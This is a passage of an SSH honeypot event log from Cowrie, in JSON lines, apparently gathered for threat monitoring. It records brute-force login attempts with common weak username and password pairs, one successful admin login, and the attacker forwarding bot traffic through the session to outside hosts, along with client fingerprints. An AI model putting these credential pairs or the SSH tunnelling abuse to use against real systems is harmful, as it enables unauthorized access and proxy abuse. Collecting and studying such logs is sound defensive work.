{"eventid":"cowrie.login.failed","username":"ubuntu","password":"basketball","message":"login attempt [ubuntu/basketball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.992291Z","src_ip":"91.92.40.36","session":"4dfbb3a745d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"P@$word","message":"login attempt [debian/P@$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:09.167780Z","src_ip":"91.92.40.36","session":"0b6c2dfca9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:09.185951Z","src_ip":"91.92.40.36","session":"e62898b32a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5627ae29dc9d","protocol":"ssh","message":"New connection: 91.92.40.36:52472 (159.203.135.109:22) [session: 5627ae29dc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:09.818651Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:09.958865Z","src_ip":"45.153.34.195","session":"c8ad29fd5182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57692,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbd77c6c73ed","protocol":"ssh","message":"New connection: 45.153.34.195:57692 (10.17.0.5:22) [session: bbd77c6c73ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:11.203965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:11.254416Z","src_ip":"45.153.34.195","session":"bbd77c6c73ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:11.459750Z","src_ip":"45.153.34.195","session":"bbd77c6c73ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:11.768721Z","src_ip":"45.153.34.195","session":"bbd77c6c73ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:12.952133Z","src_ip":"45.153.34.195","session":"bbd77c6c73ed","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:13.431923Z","src_ip":"91.92.40.36","session":"5627ae29dc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:13.435314Z","src_ip":"91.92.40.36","session":"5627ae29dc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:13.720333Z","src_ip":"91.92.40.36","session":"4dfbb3a745d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d558c699fb04","protocol":"ssh","message":"New connection: 45.153.34.195:25464 (10.17.0.5:22) [session: d558c699fb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:14.181531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:14.262238Z","src_ip":"45.153.34.195","session":"d558c699fb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:14.448415Z","src_ip":"45.153.34.195","session":"d558c699fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:14.801136Z","src_ip":"91.92.40.36","session":"0b6c2dfca9a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:14.916446Z","src_ip":"45.153.34.195","session":"d558c699fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:16.082227Z","src_ip":"45.153.34.195","session":"d558c699fb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53150,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbc8f256b22a","protocol":"ssh","message":"New connection: 123.27.168.40:53150 (10.17.0.5:22) [session: fbc8f256b22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:16.392017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:16.395778Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:16.638297Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25486,"dst_ip":"10.17.0.5","dst_port":22,"session":"503d07d8f6fd","protocol":"ssh","message":"New connection: 45.153.34.195:25486 (10.17.0.5:22) [session: 503d07d8f6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:17.049433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:17.055570Z","src_ip":"45.153.34.195","session":"503d07d8f6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:17.147285Z","src_ip":"45.153.34.195","session":"503d07d8f6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp1234","message":"login attempt [tmp/tmp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:17.647809Z","src_ip":"45.153.34.195","session":"503d07d8f6fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:17.788976Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.162588Z","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.283240Z","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.704225Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZWc4ajNKQShoVSpuL0YvVg%3D%3DjSx13lcI2I5YdRxldttSZCqsOOozWlTU5hJc7Y734KG%2Fqd0jf1zK%2BwT4GX%2FJIrs8UabzvW%2F%2B5u%2Bwaug6UrL76FFJ3Wr8T3Oywp9Cz6itZIJyEClIGlb9Jk4sAWCQdGoDjMXVsTUxlttc6N6QN0ZtnAX9zg6NOLRmp0FoBjFGnU8a0I5rqvurnZPuEVu8c3G4yieeT9I70DzeRTQo04pknaJvaSVrrssI5HMXdY0dOjat5RsI1OsiyOMfG0ndk22ZYKsmiH08ZL7UwIsIIenaz%2F6OUxwtdNxfXbFvk1%2FWlRBGO%2FvqZZcecIpyVLxRIpd5SfB5ckItW%2Bb4oewLZgsog7eLrWh%2FD2BRwpIlVAcD6xN%2BQI7sRS7TDspns7r%2B0MQOHQ6gAGmMlSzQHRIAvPamjNE39CZRNyQNP%2FtWzHhuGKIyJnmOsA3O4Ss9drv%2FGyS%2BwyrPA%2BVWYkVF1UvZk9EFwGWN%2BR0S%2BmkNbe9smHZKb8B2HB8yzBaJ058lq8nq4oi0Er%2FeKgjoU1PuKSIdnsBIJpodDeYuphs9p80l9Wchhj4KXmU2SBuVCMyjAc1Izq0bypj8%2BFZnMHXmSKRiNnPwBGlEFb6001BfO1wUbGTEHvsElvN26kELGUct%2Btz%2B%2BKqbTDU%2BvdJCNCbNffrxuB29rGi94fUMT31wx4vZuSIZiaUUvOswKF5Jl9jYXHucDiOl%2BvAnBBNF3TEBJi2ZWbuhxQgnTwtaWU32%2FJIjmS6zsbxGasY0iuzl%2FYyolNlxAoavoe5MCHFCrPRobu64T5K6vaDdDXKJ2F2HJOLaq7IVD26ajq9FGepEUDFfc2sIlw59M%2FnoIHwqbDrySy%2Bx00qIFl4JrNeGhEZe7D3tLYAwZqp6k%2B8DOxojl5Sr8UTRFJ8FUheR%2BAl%2BbCZeTgHwZ1eMkBCOQ6FWR%2BuJKQYThGU5kWi9mH0LZM4Ue%2BWYDrSzuT12QAnLJnby86kbvj1DQldu26nkQSivNE%2FY0unx2B6wsHypFNEEY3LL1Qsyj5GftOkmWFWWZsoGROaqqhxeOwj%2F%2BWdOaC3Oc9IPspbrXgejwvs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZWc4ajNKQShoVSpuL0YvVg%3D%3DjSx13lcI2I5YdRxldttSZCqsOOozWlTU5hJc7Y734KG%2Fqd0jf1zK%2BwT4GX%2FJIrs8UabzvW%2F%2B5u%2Bwaug6UrL76FFJ3Wr8T3Oywp9Cz6itZIJyEClIGlb9Jk4sAWCQdGoDjMXVsTUxlttc6N6QN0ZtnAX9zg6NOLRmp0FoBjFGnU8a0I5rqvurnZPuEVu8c3G4yieeT9I70DzeRTQo04pknaJvaSVrrssI5HMXdY0dOjat5RsI1OsiyOMfG0ndk22ZYKsmiH08ZL7UwIsIIenaz%2F6OUxwtdNxfXbFvk1%2FWlRBGO%2FvqZZcecIpyVLxRIpd5SfB5ckItW%2Bb4oewLZgsog7eLrWh%2FD2BRwpIlVAcD6xN%2BQI7sRS7TDspns7r%2B0MQOHQ6gAGmMlSzQHRIAvPamjNE39CZRNyQNP%2FtWzHhuGKIyJnmOsA3O4Ss9drv%2FGyS%2BwyrPA%2BVWYkVF1UvZk9EFwGWN%2BR0S%2BmkNbe9smHZKb8B2HB8yzBaJ058lq8nq4oi0Er%2FeKgjoU1PuKSIdnsBIJpodDeYuphs9p80l9Wchhj4KXmU2SBuVCMyjAc1Izq0bypj8%2BFZnMHXmSKRiNnPwBGlEFb6001BfO1wUbGTEHvsElvN26kELGUct%2Btz%2B%2BKqbTDU%2BvdJCNCbNffrxuB29rGi94fUMT31wx4vZuSIZiaUUvOswKF5Jl9jYXHucDiOl%2BvAnBBNF3TEBJi2ZWbuhxQgnTwtaWU32%2FJIjmS6zsbxGasY0iuzl%2FYyolNlxAoavoe5MCHFCrPRobu64T5K6vaDdDXKJ2F2HJOLaq7IVD26ajq9FGepEUDFfc2sIlw59M%2FnoIHwqbDrySy%2Bx00qIFl4JrNeGhEZe7D3tLYAwZqp6k%2B8DOxojl5Sr8UTRFJ8FUheR%2BAl%2BbCZeTgHwZ1eMkBCOQ6FWR%2BuJKQYThGU5kWi9mH0LZM4Ue%2BWYDrSzuT12QAnLJnby86kbvj1DQldu26nkQSivNE%2FY0unx2B6wsHypFNEEY3LL1Qsyj5GftOkmWFWWZsoGROaqqhxeOwj%2F%2BWdOaC3Oc9IPspbrXgejwvs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.708951Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:18.713194Z","src_ip":"123.27.168.40","session":"fbc8f256b22a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xb2\\xd3F\\x91&\\xcdU\\x91\\x12\\xa2\\xd6\\xe2\\xf1\\xc6\\x0eAqHK\\x01\\xe7\\xebC\\x98\\xbeP\\xcc\\x11d,' \\x84wru`\\xd5\\x1e\\xe0\\xd5\\xf3\\x16\\xe5\\x15\\x91\\x12\\xbcm\\xe5\\xc1\\x0c\\x00-H&\\xef_W\\xd3*\\xff\\x15\\x9c\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\x9c\\x8c\\xc7\\x1eb+FE6`\\x04V$\\xaf\\xeb\\xce\\x1f]\\xc6\\x054\\x82\\x90\\x01\\x82f\\x89\\xc5\\xb0s\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x